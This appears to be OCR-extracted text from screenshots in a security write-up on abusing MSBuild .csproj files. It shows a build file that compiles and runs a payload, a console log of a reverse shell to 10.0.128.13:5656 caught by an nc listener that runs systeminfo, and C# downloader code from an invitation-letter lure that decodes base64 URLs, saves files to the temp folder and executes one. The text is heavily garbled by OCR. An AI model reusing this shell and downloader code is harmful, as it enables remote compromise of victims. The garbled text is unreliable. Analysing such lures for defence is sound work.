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Target Name="Build"
Csc Sources="@(Compile)" OutputAssembly="main.exe"
Target>

Target Name="Run" DependsOnTargets="Build"

Exec Command="main.exe"
Target
Project
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{Target Name="Build"
Csc Sources="@(Compile)" OutputAssembly="main.exe"
Target>

Target Name="Run" DependsOnTargets="Build"

Exec Command="main.exe"
Target
Project

12 1. main.csproj

string filePath = "https_payload.bin";

72l 2. main.cs
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- C\Windows\System32\cmd.e X + £

\Desktop\asdf="C:\Windows\Microsoft.NET\assembly\GAC_64\M5Build\vd.0_u.0.0.0__be3+f5f7+11d50a3a\M
exe" main.csproj /t:Run
M1L1n=aFt (R) Build Engine version 4.8.9221.0
[Microsoft .NET Framework, version 4.0.30319.42000]
Copyright (C) Microsoft Corpnration. ALl rights reserved.

Build started /2026 1:21:26 AM.
Project "C:\Us \ \Desktop \main.csproj"” on node 1 (Run target(s))
Project file contains ToolsVers . This toolset may be unknown or missing, in which case you may be a
ble to resolve this by installing the appropriate wversion of MSBuild, or the build may have been forced to a
particular ToolsVersion fer pelicy reasons. Treating the project as if it had TeolsVersion="4.8". For more in
formation, please see http://go.microsoft.com/fwlink/?LinkId=291333.
Build:

C:\Windows\Microsoft.NET\Framework6u\vd.0.30319\Csc.exe fout:main.exe main.cs
Run:

main.exe

[+] Connecting to tep://10.0.128.13:5656

[!] Getting base stream

[!] Creating stream reader from base stream

[+] Executing 'systeminfo.exe

= 3. TS XF A|AE

1L Lvp 5656
listening on [any] 5656 ...
10.0.128.29: inverse host lookup failed: Unknown host
connect to [10.0.128.13] from (UNKNOWN) [10.0.128.29] 55278
admingoVv $ systeminfo.exe

Host Name: ov

0S Name: Microsoft Windows 11 Pro
0S Version: 10.0.26200 N/A Build 26200
0S Manufacturer: Microsoft Corporation

0S Configuration: Standalone Workstation

0S Build Type: Multiprocessor Free
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Name Date modified Type Size
0 Invitation_Letter_No.02_2026.csproj 2/6/2026 12:12 PM CSPROJ File 4 KB
%2 Invitation_Letter No.02_2026 2/4/2026 12:53 PM Application 250 KB
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// Base64 encoded URLs with new endpoints
string b64_1 =
“aHROcHM6Ly9vbmVkb3duLmdIc2Vjb2xILm5IdC9kb3dubG9hZCO9hMzY5M2tmYTgzNg==";
string b64_2 =
“aHROcHM6LYy9vbmVkb3duLmdic2Vjb2xILm5IdC9kb3dubG9hZCOhMzY5NmtmYTgzNg==";
string b64_3 =
“aHROcHM6Ly9vbmVkb3duLmdIc2Vjb2xILm5IdC9kb3dubG9hZCO9hMzY50WtmYTgzNg==";
string[] urls = {
DecodeBase64(b64 1),
DecodeBase64(b64_2),
DecodeBase64(b64_3)
I3
string tmp = Path.GetTempPath();
Random r = new Random();
string[] targets = {
Path.Combine(tmp, GetRandomString(r, 6) + “.exe”),
Path.Combine(tmp, “Avk.dlIl®),
Path.Combine(tmp, “AVKTray.dat”)
I3
/I Security protocol — TLS 1.2
ServicePointManager.SecurityProtocol = (SecurityProtocol Type)0xCO00;
for (inti=0;i<3;i++)
{

FetchResource(urls[i], targets]i]);



}

if (File.Exists(targets[0]))

ExecuteFile(targets[0]);
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